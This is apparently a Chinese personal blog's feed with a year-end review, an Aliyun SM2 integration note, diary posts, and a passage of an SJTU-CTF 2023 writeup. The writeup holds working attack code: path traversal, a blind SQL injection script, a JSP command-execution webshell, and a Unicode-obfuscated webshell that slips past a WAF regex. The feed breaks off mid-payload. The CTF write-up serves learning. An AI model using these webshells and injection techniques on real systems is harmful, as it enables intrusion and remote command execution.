年度编程语言大概是 Python(虽然也没严谨统计过),毕竟打 CTF/日站写 PoC 都用的是它,甚至写 Web 项目也是,学习了 Django 框架发现还挺好用的,特别适合快速起步。
博客不知不觉博客已经6周年啦,来看看今年的统计数据吧!在去年7月抛弃了臃肿的 Google Analytics 投入 Umami 的怀抱,所以今年的数据是完整的哦。
今年 Hans362 's Blog 收获2.28k 位独立访客4.77k 次访问,平均访问时间1m2s。
访客们都喜欢用什么浏览器/OS/设备呢?
揭晓答案
排名第一的是 Chrome + Windows 10/11 + 笔记本,和我一样耶(该不会都是我贡献的吧hhhh)。
访客们都来自哪些国家/地区 用哪里的魔法节点 呢?
揭晓答案
今年发布了4篇文章,数量较往年骤减,博客都长草了,明年一定要多写点!要是还有你没读过的,不妨去看看。
今年点击量排名前5的文章又是哪几篇呢?
揭晓答案
看来还是技术向的文章比较吸引人啊。
今年博客新增6条有效评论,感谢每一位前来互动的朋友🥰。
游戏上半年玩得最多的还是原神,暑假的时候社团的全新原版生存服 SJMC SMP 2 开了,于是作为老年人浅浅地复健了一下,重温了当年玩 Minecraft 的快乐。
下半年随着各种事情忙起来,Minecraft 被我丢在一边,原神也好几个月没碰算是半退游了(肝不动力,连主线都懒得推),感觉有点电子阳痿了(bushi),即使有点时间也不是很想花在游戏上。
音乐来看看今年的听歌报告吧!
欸嘿,终于不是 OST 播放器了,今年的年度歌手是 ChiliChill,最开始是听原神二创作品认识的,后来发现他们自己的一些作品也很好听,就一发不可收拾了。
展望 2024时间过得真快呀,明年就要告别19岁,进入20岁的大门了,希望2024年:
顺利通过所有考试(期末周的大学牲是这样滴) 拿到驾照(今年拖拖拖到现在才考过科目二) 去更多的地方玩玩玩(中国制霸模拟器 补完计划) 多运动(今年颓废了一年,除了上体育课就没咋动过) 保持博客更新,经常来除除草 在成为大黑客 的路上更进一步 身体健康,平安快乐 最后感谢读到这的你,祝你新年快乐🥳,2024年一切顺利!
]]>
+
+
+ <p>草草草怎么一年就过去了,又到了<s>痛苦的期末周</s>一年一度的年终总结时刻,于是我在紧张刺激的期末跨年<s>预习</s>复习活动中匆匆写完了这篇文章,快来回顾一下这<s>一事无成</s>的一年罢()</p>
+
+
+
+
+
+
+
+
+
+
+
+ 阿里云金融级实人认证接入踩坑记
+
+ https://blog.hans362.cn/post/aliyun-financial-grade-id-verification/
+ 2023-12-02T09:32:00.000Z
+ 2024-04-24T14:30:59.325Z
+
+ 最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的金融级实人认证 产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。
开通金融级实人认证后,我开始照着阿里云提供的开发参考文档 尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。
TL;DR阿里云文档中的 Python SDK 版本过时,需要手动指定版本号 阿里云文档中提供的国密 SM2公钥为压缩格式,需要先还原完整公钥 阿里云使用 C1C2C3模式,而非现行标准的 C1C3C2模式 须确保加密结果的第一个字节为 \x04
,否则须手动补充 过时的 SDK 版本因为项目是基于 Django 框架开发的,所以我参考了文档中 Python SDK 的部分。按文档所说,我首先通过 pip install aliyun-python-sdk-saf
安装了云产品SAF SDK,接着在项目中引入 SDK 包时却出现了问题。
怀疑八成是文档没及时更新,看了眼包安装目录下的文件结构,果然最新版本都已经 v20190521
了,改一下版本号就解决了问题。
同时最好在 requirements.txt
中锁版本,以免以后哪次 pip install
时更新了 SDK 导致又出现问题。
加密传参全靠猜由于项目的合规要求,数据库不能留存用户的身份证号明文或可解密的密文,而阿里云的金融级实人认证接口刚好支持非对称加密传参,因此可以将用户输入的身份证号使用阿里云提供的公钥进行非对称加密,然后存储在数据库中(由于私钥由阿里云保管,即使数据库发生数据泄露也无法解开),发起认证请求时直接将密文传递给阿里云。
然而文档中关于加密方式的约定含糊其辞,只提到了加密方式为国密 SM2,给出了一个公钥,并提供了一段 Java 语言下的调包例程。
好在 Python 这边也已经有现成的国密加密包 了,我天真地以为调用一下包里的加密函数就行了,于是我一开始是这么写的:
import base64from gmssl import sm2sm2_crypt = sm2.CryptSM2(public_key='02cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea6' , private_key='' , mode=1 )idcard_encrypted = base64.b64encode(sm2_crypt.encrypt(idcard.encode('utf-8' ))).decode('utf-8' )
结果呢,还没到给阿里云传参这一步,光是加密就报错了:
TypeError: object of type 'NoneType' has no len ()
翻了翻 Issues 才知道存在公钥压缩这回事。根据现行 GB/T 35276-2017 7.1节的定义,SM2算法公钥内容为 04||X||Y
,其中 X 和 Y 分别标识公钥的 x 分量和 y 分量,其长度各为256位。阿里云提供的公钥既不以 04
开头,长度也不满足规范,显然是经过压缩的,需要先还原完整公钥。可以使用这个小工具 进行还原,也可以研究一下压缩的原理然后自己造个轮子,当然我懒所以选择前者。
import base64from gmssl import sm2sm2_crypt = sm2.CryptSM2(public_key='04cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea65fb8709f2915105fdd5c81bae765774ca7a9392ad3b557b1d239741c2899c868' , private_key='' , mode=1 )idcard_encrypted = base64.b64encode(sm2_crypt.encrypt(idcard.encode('utf-8' ))).decode('utf-8' )
这样就可以正常加密了。正以为万事大吉,当我把加密的密文传给阿里云时,阿里云接口却报错了。令人无语的是,接口返回的信息只有一句 501 系统错误
,除此之外啥也没有。起初我甚至没有怀疑是加密的问题,还以为是别的参数有问题或者阿里云接口挂了(毕竟最近阿里云频繁出事),直到我尝试明文传参成功后才意识到问题出在加密上。显然,阿里云的私钥解不开我传递给它的密文。
于是我又花了大量的时间弄清究竟是哪出了问题。根据现行 GB/T 35276-2017 7.2节的定义,我们不妨将 x 分量和 y 分量合称为 C1,密文称为 C2,杂凑值称为 C3,则加密数据由 C1、C2、C3三部分组成,且三者的排列顺序为 C1C3C2。同时在查阅了一些资料后,我还了解到在最初的国密标准中,加密数据的排列顺序为 C1C2C3,不过我没有找到相关的标准文件。正因为国密 SM2存在 C1C3C2和 C1C2C3两种加密模式,我使用的 Python 国密加密包提供了 mode
选项以便开发者根据需求设定加密模式。然而阿里云根本没告诉我它解密时使用的是哪一种,不过这个问题暂时不重要,因为经过尝试无论哪一种都问题依旧。
迫不得已我只好把目光看向了阿里云提供的 Java 例程,尝试跑了一下,比对了同一个字符串使用 Python 国密加密包和使用 Java 例程的加密结果,终于发现了问题所在。Java 例程产生的密文 Base64 串永远以字符 B
开头,而 Python 加密包产生的密文 Base64 串开头字符却一直在变,这显然不合理。通过观察 Java 例程加密结果的第一个字节,我惊奇地发现竟然永远是 \x04
这个熟悉的家伙。于是我手动给 Python 加密包的加密结果加上了这个字节,然后尝试了一下 C1C3C2和 C1C2C3两种加密模式,确认是 C1C2C3 模式(非现行标准),总算是对接成功了。
import base64from gmssl import sm2sm2_crypt = sm2.CryptSM2(public_key='04cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea65fb8709f2915105fdd5c81bae765774ca7a9392ad3b557b1d239741c2899c868' , private_key='' , mode=0 )idcard_encrypted = base64.b64encode(b'\x04' + sm2_crypt.encrypt(idcard.encode('utf-8' ))).decode('utf-8' )
总结这次开发可以说是一波三折,一部分原因是对国密算法不熟悉,互联网上相关的资料(尤其是 Python 下的进行国密加密)也较少,另一部分原因则是阿里云存在如下的问题有待改进:
文档过时内容未及时更新 接口不返回详细错误信息,导致排查困难 参数加密约定不清晰、不详细 使用非现行标准(C1C2C3)且不加说明 总之希望这篇文章能够帮助到后来者,也希望阿里云能够改进文档和接口,提升产品的易用性。
]]>
+
+
+ <p>最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的<a href="https://help.aliyun.com/zh/id-verification/product-overview/financial-level-real-person-certification">金融级实人认证</a>产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。</p>
+<p>开通金融级实人认证后,我开始照着阿里云提供的<a href="https://help.aliyun.com/zh/id-verification/financial-grade-id-verification/integration-by-using-the-sdk">开发参考文档</a>尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 周记#30
+
+ https://blog.hans362.cn/post/weekly-30/
+ 2023-11-12T08:59:53.000Z
+ 2024-04-24T14:30:59.337Z
+
+
让我看看…嗯,很好,不出意外的话大概是出意外了 ,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。
所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪
暑假7月中旬夏季学期结束,暑假生活正式开始~
到处跑跑跑原以为暑假会烂在家里当死宅,结果意外地非常充实,两个月旅游+出差+比赛去了不少地方,大概是出门最多的一次。
(以下多图预警)
长兴岛去年夏天去横沙岛玩了一趟,这次去的是长兴岛,都是夹在上海市区和崇明岛之间的小岛,当然这次是去出差坐牢 的。
某天傍晚提前下班去江边走了走,吹着凉爽的江风,看到了非常美的火烧云。
潮汕之前一直想去广东玩来着,这次终于去成了🥳!第一站就先选在了潮州和汕头,正好离福建也比较近,玩好顺便回了趟我爸老家,其它地方就等以后再来吧。
坐飞机落地揭阳,然后打了个车去汕头。沿着海边走的景色真不错,晚上的小公园(这是个景点的名字哦)非常热闹繁华。
第一天晚上吃到了牛肉火锅,新鲜的牛肉烫到刚熟的程度,蘸着沙茶酱吃,非常鲜嫩,打开了新世界的大门(过于好吃所以此处没有照片hhh)。第二天早上吃到了心心念念的肠粉,随便找的路边小店都完爆外地的肠粉,皮很薄很弹,料也满满的,太好吃了以至于我连吃了几天。
汕头玩得差不多就去了南澳岛,由于是旅游旺季,进岛的高速堵得一塌糊涂,足足花了快4个小时才上岛。在岛上环岛挑了几个点玩了一圈。
(造型独特的灯塔)
(北回归线广场,在海滩上光脚踩水,是属于夏天的保留节目)
(金银岛)
(后花园村,从山上看海的视角很独特,夕阳也很美)
至于吃的感觉岛上总体不太行,海鲜可以尝尝,但容易被宰。
离开南澳打车前往潮州。主要去了牌坊街,还有非常有特色的广济桥,桥的中间是用几艘船连在一起的,傍晚到点了就会把船移走,第二天再把船移回来,晚上会有炫酷的灯光秀表演。
在潮州吃到了烧鹅、卤鹅,吃了一次早茶,好吃的真是太多了。潮州这边的肠粉会放花生酱,个人不是很习惯,还是更偏爱汕头的做法。
离开广东后去了我爸老家,上一次回去好像还是初中的时候。奶奶家不知道啥时候养了一只猫,超级可爱,rua起来很舒服😻。
福州福州之前去过一次,这次去主要是去出差的,干完活顺便故地重游浅玩了一下。
(南后街)
(烟台山)
(闽江)
成都第一次来成都,主要是来打比赛的,行程比较匆忙没来得及玩。
出发当天上海有强对流,幸好买的中午的机票,赶在强对流到来前半小时顺利起飞了。来成都怎么能不吃火锅呢,于是到达成都当晚就鼓起勇气和队友出去吃了顿四川火锅。考虑到第二天还要比赛谨慎地点了鸳鸯锅,然后果不其然被辣锅辣翻了🥵,吃到最后全在吃另一边的番茄锅🤣。
第二天白天在比赛,玩靶场渗透+工控,四个预备队的出来给 0ops 丢脸了。签到题打进去了结果找不到 flag 放在哪,心态爆炸,最后在根目录下用 grep
强行搜出来的,卡了很久。后面靠 Chrome XSS 钓鱼 RCE 想让员工电脑上线 CS 从而打进核心生产网做工控题,结果咋弄都不成功,而自己电脑上的虚拟机却可以上线,最后发现是用作跳板的机器 Windows 防火墙没关,浪费了至少一个小时😡。事实证明永远别相信 Windows Server 2016 设置里的防火墙,关了根本没用,去控制面板里看竟然还是开着的。等好不容易把员工电脑搞上线已经离比赛结束只剩两个小时了,工控题靠队友匆匆忙忙地做了几道,Web 这边也还剩很多没挖。最后拿了个“人才奖”,有奖就是胜利😂。
晚上恰了顿寿喜烧自助,吃肉吃爽了。在商场里逛了逛,买了点特产,出去的时候下起了暴雨还没带伞。
第三天早上睡个懒觉收拾一下就去机场了,因为回程机票买的是 MU9198,需要去天府机场。坐地铁坐了将近一个小时,都快到边上的简阳市了。天府机场真是到哪都只要一小时,到成都也是(笑)。
坐上了 C919 大飞机,看这架的编号是 B-919A 貌似还真是首架?飞行过程中有点颠簸,不过餐食很好吃😋,还有定制的小蛋糕。
换新手机手头原先这部 Redmi K20 Pro 是刚上高中时买的,陪伴了我四年多了,依旧是迄今为止外观最对我胃口的一部手机。直屏+弹出式前置摄像头,没有刘海也没有挖孔,简直是堪称完美的全面屏设计,是到了2022年还会有人看到这块屏幕惊讶地问我“你的手机是啥牌子”的程度。很可惜已经很久没看到这样的设计了,所以我一直舍不得换,感觉还能再战三年。
大概从去年开始明显感觉到电池健康度下降得很厉害,续航只能维持半天左右,打算去换电池却发现原装电池已经停产缺货了,于是靠充电宝续命又用了大半年。结果到我出差的前两天,这电池算是彻底暴毙了,充满电的情况下啥都不干十分钟电量就归零了。考虑到急着用,并且骁龙855在2023年的这堆国产毒瘤APP面前确实有点吃不消,卡顿得比较厉害,那就干脆换新手机吧。
起初还想试试别的牌子的手机,但想到自己对米家生态链的重度依赖以及有解锁刷机的需求,最终还是决定延续小米/红米。因为小赚了点钱,索性就咬咬牙买了 Xiaomi 13 Pro,希望可以用得久一点。直接去小米之家¥5399拿下,还送了个礼盒(笔记本+钢笔+蓝牙耳机)和一年的 FRIEND 会员(每个月有免费贴膜,但小米之家店员表示这个膜质量远不如出厂自带的那张,不建议在原厂膜没坏的情况下换)。
颜色无脑选了白色,确实很耐看,后盖也不会变成指纹收集器。外观的话对我而言肯定是没有原来好看了,挖孔屏+曲面,但也还算可以接受。全功能 NFC、红外遥控、无线充电等功能该有的都有,没有耳机孔对于我来说问题不大。比较喜欢的是骁龙8 Gen 2的性能表现,玩某二字游戏无压力,而且发热量不算大。还有就是这徕卡相机拍照真的没话说,不像原来的 K20 Pro 拍出来的照片总感觉被算法调校得鲜艳过头,13 Pro 给我的感受就是很真实,很舒服,本文带水印的照片都是使用13 Pro 拍摄的哦。
要说不好的地方大概就是13 Pro 接近230克的重量,初次上手感觉有点沉,而且主要重量集中在顶部的镜头模组,拿在手里有种头重脚轻的感觉。还有电池容量感觉还是偏小,日常使用是能够注意到电量一点一点在掉的,不过目前还是可以支撑一整天的中强度使用,后续续航衰减的情况有待观察。
炸厨房计划·第二弹嘿嘿这个假期午饭又基本是自己在家瞎糊弄的,回看发现全是各种面/炒饭/焖饭😂。
至于味道嘛,自己烧的肯定好吃啦😋。
秋季学期啊 / 雨还要下多久呢 / 风扇应该收了 / 夏天怎么结束了
九月中旬回到了学校,开启了全新的学期。时间真是太快了,转眼就成老东西了啊。
以往我校电院的大二上是地狱模式,大量的硬核课程都堆在这学期,好在我们这届有所改观,已经过去的32.5学分的大一下是最痛苦的,大二上只剩下二十几学分的课程,比上学期轻松了一些。
中秋节从开学第一天就在盼着放假🤣。按惯例学校每年中秋都会发月饼盲盒,今年的包装用的竟然是铁罐子,还挺好看的,颇有买椟还珠的感觉。
至于味道么,我和家里人的一致评价就是每盒必有的绿色的青柠芝士月饼是最难吃的,皮的口感很怪,中间的流心也酸不溜秋的,别的拿铁口味和蔓越莓口味都还不错。
中秋前一天学校还在电草办了一场中秋晚会,超热闹,去看了会儿表演以及给抽奖当分母了。
转专业放完假回来就看到教务处发布了工科平台内转专业的通知。因为深知我校转专业的难度,尤其是电院CS/SE/IS据说只收专业前几名,最初就对此不抱啥希望,大一一年也完全没卷。回过头来一看成绩虽然平平无奇,但也满足了转专业的前置条件,考虑到我对电子系这边的课程不太感兴趣,这学期的模电学得也非常痛苦,于是就决定抓住这个机会试一试。
由于自己学积分一般,大一一年也只有和IS强相关的经历,并且确实对安全方向比较感兴趣,所以就填了转入信息安全专业的申请表。
等了一周终于收到了入围面试的通知,开始着手准备面试,做了两页PPT把一些比较亮眼的课程成绩还有和信安相关的经历罗列了一下,自己对着PPT讲了两遍。信安的面试总体感觉比较水,先是对着PPT进行自我介绍,然后是提问环节,完全没涉及任何专业性的问题,最离谱的一个问题是“你参加过哪些志愿活动”,差点给我干沉默了。总之面试结束后心里很没底,不知道是面试本来就这么水还是走个形式把我刷掉。
然后就是焦急地等待结果,终于在十月底收到了预录取通知,只要这学期继续修读完原专业课程(除中期退课的一门)并且没有挂科就可以顺利转入信息安全专业🥳。就是下个学期以及大三上要补修很多课程,又要开启地狱模式了。
总的来说感觉转专业好像也没有想象的那么难,也并非一定要有特别突出的学积分。抓住每一个可能的机会,多去尝试一下,说不定就有意外的收获。
好了,这篇周记就到这里咯,下次见~
]]>
+
+
+ <p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/5874161ac7d3d365b62d81cd79cada6c.png?width=1920" alt="" /></p>
+<p>让我看看…嗯,很好,<s>不出意外的话大概是出意外了</s>,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。</p>
+<p>所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪</p>
+
+
+
+
+
+
+
+
+
+ 周记#29
+
+ https://blog.hans362.cn/post/weekly-29/
+ 2023-06-23T08:23:41.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。
所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。
寒假 玩玩玩期末周的时候我就阳了,放寒假的时候已经完全好了。不过家里竟然还有人一直没阳,所以寒假就老老实实在上海过年了。年初六的时候跑豫园那边去看了灯会,不过是大白天版,但人还是很多。
然后又去了上海和江苏交界地带的荒郊野岭转了转,这样就算低配版的出省旅游了(笑)。
炸厨房计划之前在年终总结 里提到要提升一下厨艺,所以寒假的午饭就靠自己烧了,意外地没有炸厨房,大成功🤣(
(忽略那个裂口水饺)
寒假大部分时间都在家摸鱼划水当肥宅,短短二十八天一转眼就过去了,不愧是全国高校倒数第二短的寒假,感觉啥也没干就开学了。
春季学期总算在这个春天迎来了防疫结束后的第一个正常的学期,生活正在一点点恢复疫情前的状态,感觉很不错。
学学学进入大一下,课程压力一下子就高了不少。虽说仅仅比上学期的28.5学分多了4学分的课程,但这学期基本都是非常硬核的课,比如高数、大物、电路理论、数电、数据结构等,还有一些学分和工作量完全不匹配的课程,整体比上学期忙多了。
这学期充分感受到了我校工科平台混乱的培养计划和糟糕的课程设计,在此不得不锐评一些课程。
电路实验
金课中的金课🥇。
这课的逆天之处在于和电路理论完全脱节的教学安排以及手写实验报告、手绘图像的离谱要求。电路理论才学到时域分析,实验已经做到交流参数了,做实验的时候对着看不懂的电路图机械地接线,写实验报告的时候我都不知道自己在写什么。
另外这课还有期末考试,占总评一半的分数,随机抽一个实验,闭卷做,要求背下所有的电路图。只好祈祷别抽到强电实验,毕竟弱电实验接线都不复杂,比较好做。
然后我就抽到了三相电路😇。幸好考前一天晚上把强电的几个实验电路都狂背了一遍,没出意外顺顺利利地做完了。考试的时候周围好几个人接错线烧保险丝、烧灯泡,还有人把整个实验室给搞跳闸了,笑死。
大学物理实验
1学分的课花的时间比3学分的课还多。
和电路实验一样地手写巨长的报告,作图以及拟合用 Origin 做。课程内容也是一样地和大物课程进度脱节,不过大部分老师/助教会默认你什么都不知道然后花时间讲一遍,至少能理解在做什么。
唯独有一次实验碰到个老师几乎啥也不讲不演示就让我们开做,遇到问题问他,直接一句“你没有预习吗?”、“我为什么要回答你?”、“你把学号报上来我给你扣两分再告诉你”,态度简直离谱😠。好在大家都不会做,最后他还是忍不住讲了一遍。
工程实践
属于是为毕业进厂提前做准备了,我一个学电子信息的为啥要学车床、铣床、钣金之类的东西啊?好在我们这届压缩了学时,只有半个学期,就当去玩玩了倒也还行。
(线切割做了只 Octocat)
工程实践与科技创新I
前半学期焊调频无线话筒和万用表,后半学期做单片机项目。作为电子系的学生学焊板子倒也无可厚非,毕竟是以后要用到的技能,但是给我整一大堆小得要命的贴片元件,用电烙铁纯手工焊实在有些折磨。
依稀记得那天在电网大楼从晚上六点焊到十一点总算整完了,还好一次成功,不然像有些同学焊完发现芯片是坏的就很惨了。
除此之外,一些课程的安排也很迷惑。电路理论放在大一下我完全学不明白,教材晦涩难懂,完全没考虑初学者的接受能力。数电课时压缩到只有半学期,且由于缺少模电、基电作为先修课程,很多内容都跳过不讲,感觉学得很浅。
这学期巨大的课程量导致了长达一个月的期中周和半个月的期末周,整个学期几乎就是在复习-考试-复习-考试😇。期末周的时候考完一门抢救下一门,女娲补天都没我忙。
一个人乐意探索陌生的PPT,仅仅是因为快要挂科了吗?
(初看不知画中意,再看已是画中人🤡)
好在最后出分的时候发现几门考完以为要挂的课分数高得我都不敢相信,被老师狠狠地海底捞了🥰。
CTF & HW大约是二月底的时候在学校论坛上看到了 CTF 校赛的帖子,从未打过 CTF 的我看到了决定去试试,结果意外地拿了个不错的成绩。赛后除了白嫖了亿些奖金和奖品外,还被邀请加入了 Ph0t1n1a(学校主队 0ops 的预备队)。
考虑到对 Web 比较感兴趣,而且除此之外我也啥都不会,决定主攻 Web 方向。抽空跟着打了两场比赛发现自己弱爆了,除了 D^3CTF 做出一道简单的 MISC 之外,几乎无从下手,还需要多学习学习。
五月份的时候和 Ph0t1n1a 还有 0ops 的 Web 大佬们去参加了教育护网,也是我第一次参加这种真实环境的攻防演练。简而言之就是在经过授权的前提下日其他高校还有教育单位的服务器。原以为自己太菜了应该只能去给大佬们端茶送水,没想到也挖出了一些成果,有几个洞还是通用系统漏洞,得了不少分,爽。
总之这学期入坑了信息安全方向,发现自己对这个挺感兴趣的,至少比起现在所在的专业,以后可能准备往这个方向发展了。
社团三月份的时候社团招新,百团大战那天去现场逛了逛。没想到竟然连 SJTUG 都有摊位(虽然只有一个印了二维码的 KT 板),作为 SJTUG 维护的开源软件镜像站以及 LaTeX \LaTeX L A T E X 模板的忠实用户这不得加一下,还见到了坐在摊位上表演上网课的 量子姐姐 @lightquantum 🥰。
路过 Minecraft 社摊位的时候,想着我上一次玩 Minecraft 大概还是在上一次 初中,早就跟不上版本了,然后就没加入。不过后来 HW 的时候认识了社长镐子哥⛏️,于是被拉进了社团准备接手一些服务器运维还有技术开发的工作。暑假打算复健一下 Minecraft,不然我社真要成为米游社了 。
对了,欢迎关注上海交通大学 Minecraft 社 ~
生日考完最后一门考试的后一天就是我二十岁前的最后一个生日了🥳。因为家里有人二阳了只好在学校过,整了个蛋糕和室友瓜分掉。晚上出去搓了一顿,在室友强推下去看了《蜘蛛侠:纵横宇宙》,有点好看,就是为啥在高潮部分戛然而止然后 To be continued 啊,太吊人胃口了。
室友在学校论坛上发了个帖子《今天是我室友生日,可以祝他生日快乐吗》结果光速收敛到 \xf0\x9f\x90\xbb
,笑死我了🤣。
后续安排从六月中旬到七月中旬还有一个月的夏季学期,选了门通识课所以继续在学校坐牢。顺便打算学个驾照,过几天去考科目一,现在在疯狂刷题。
至于放暑假之后嘛,大概就是摸鱼开摆,偶尔参加个 HW 还有打打 CTF 什么的,八月份的时候打算出省玩一次。
OK 那么这篇周记就写到这吧(发现似乎也不是很长),至于下次更新不出意外的话大概还要过两三个月吧(逃
]]>
+
+
+ <p>咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。</p>
+<p>所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。</p>
+
+
+
+
+
+
+
+
+
+ SJTU-CTF 2023 Writeup
+
+ https://blog.hans362.cn/post/sjtu-ctf-2023-writeup/
+ 2023-03-16T15:33:33.000Z
+ 2024-04-24T14:30:59.333Z
+
+ 好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(
作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。
Web flag gallery网站首页有一堆旗子的图片,尝试乱填一个账号登录发现多了一个 CTF 旗子,提示需要管理员账号才能查看。F12 看了一眼发现这些旗子的图片都是从 /getflag.php?flag=
这个接口获取的。
于是向接口请求一个不存在的文件,出现 PHP 错误信息。
根据错误信息可知,这个接口应该只是简单地返回 images
目录下用户请求的文件,那么我们如果请求一下 ../login.php
呢?
直接爆出源代码,拿到 admin
密码的 MD5 值,解密一下发现是 sjtuctf
,回主页登录,然后拿到 flag。
Mimic SQL (part 1)显然应该是道 SQL 注入题,唯一的注入点应该是 /article?id=
。跑了下 sqlmap,发现存在 Boolean-based SQL Injection,准备开始盲注。
但这道题比较特殊之处在于整了一个什么拟态防御,就是同时运行了 SQLite、MySQL 和 MariaDB 三种数据库,并同时向三个数据库跑查询,然后比对结果是否一致,不一致就会报错。因此注入的时候要兼顾三种数据库的要求。
经过亿些尝试,发现通过 /article?id=1 and (select length(flag) from flag) > 1
可以搞出 flag 的长度,只需要用一下二分法,最终发现 > 37
时能够返回文章内容,而 > 38
时出现 Not Found
,说明 flag 长度正是38。
接着又经过亿些尝试,发现通过 /article?id=1 and (select substr(flag,1,1) from flag) = 'a'
并把 a
依次替换成所有可打印字符,就可以根据返回结果是否为 Not Found
试出 flag
的第一位,然后用相同的原理往后依次试出每一位即可。
于是写了个 Python 脚本自动化这个过程。
import requestsfrom urllib.parse import quoteimport stringurl = "http://127.0.0.1:5000/article?id=1" for i in range (1 , 39 ): for c in string.printable: req = url + \ quote( " and (select substr(flag," + str (i) + ",1) from flag) = '" + c + "'" ) r = requests.get(req) if "Not Found" not in r.text: print (c, end='' ) break
最后得到了 flag。
(引号要换成大括号)
ezjsp尝试直接传个带回显的 WebShell 上去,没想到就成功了。
<% if ("passwd" .equals(request.getParameter("pwd" ))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("p" )).getInputStream(); int a = -1 ; byte [] b = new byte [2048 ]; out.print("<pre>" ); while ((a=in.read(b))!=-1 ){ out.print(new String (b)); } out.print("</pre>" ); }%>
然后尝试直接 ?pwd=passwd&p=cat /flag
发现权限不够,于是又试了试 ?pwd=passwd&p=/readflag
,成功拿到了 flag。
ezjsp2前一题的加强版,这次就没这么好做了,直接传 WebShell 被 WAF 拦截了。分析了下代码,发现过滤条件很苛刻。
private static Pattern pattern = Pattern.compile("\\.|\\[|\\]|\\\\u[0-9A-Fa-f]|<%@|<jsp:" );
然后我花了大量时间去构造一个能够绕过这个 pattern 的 WebShell,结果都以失败告终,因为想要代码里没有.
几乎是不可能的,而这个 WAF 居然把.
都给拦截了。
于是到处寻找利用其它编码形式绕过 WAF 的方法,终于发现原来 JSP 不仅能够直接解析 \u0000
这种 Unicode,事实上如果写成 \uuuu0000
也是可以的,而这个 WAF 只过滤了前者,所以只要把前一题的那个 WebShell 转成 Unicode 并写成 \uuuu0000
的形式即可。
<%\uuuu0069\uuuu0066\uuuu0028\uuuu0022\uuuu0070\uuuu0061\uuuu0073\uuuu0073\uuuu0077\uuuu0064\uuuu0022\uuuu002e\uuuu0065\uuuu0071\uuuu0075\uuuu0061\uuuu006c\uuuu0073\uuuu0028\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0077\uuuu0064\uuuu0022\uuuu0029\uuuu0029\uuuu0029\uuuu007b\uuuu006a\uuuu0061\uuuu0076\uuuu0061\uuuu002e\uuuu0069\uuuu006f\uuuu002e\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu006e\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0022\uuuu0029\uuuu0029\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0069\uuuu006e\uuuu0074\uuuu0020\uuuu0061\uuuu0020\uuuu003d\uuuu0020\uuuu002d\uuuu0031\uuuu003b\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0020\uuuu0062\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu0032\uuuu0030\uuuu0034\uuuu0038\uuuu005d\uuuu003b\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu0022\uuuu003c\uuuu0070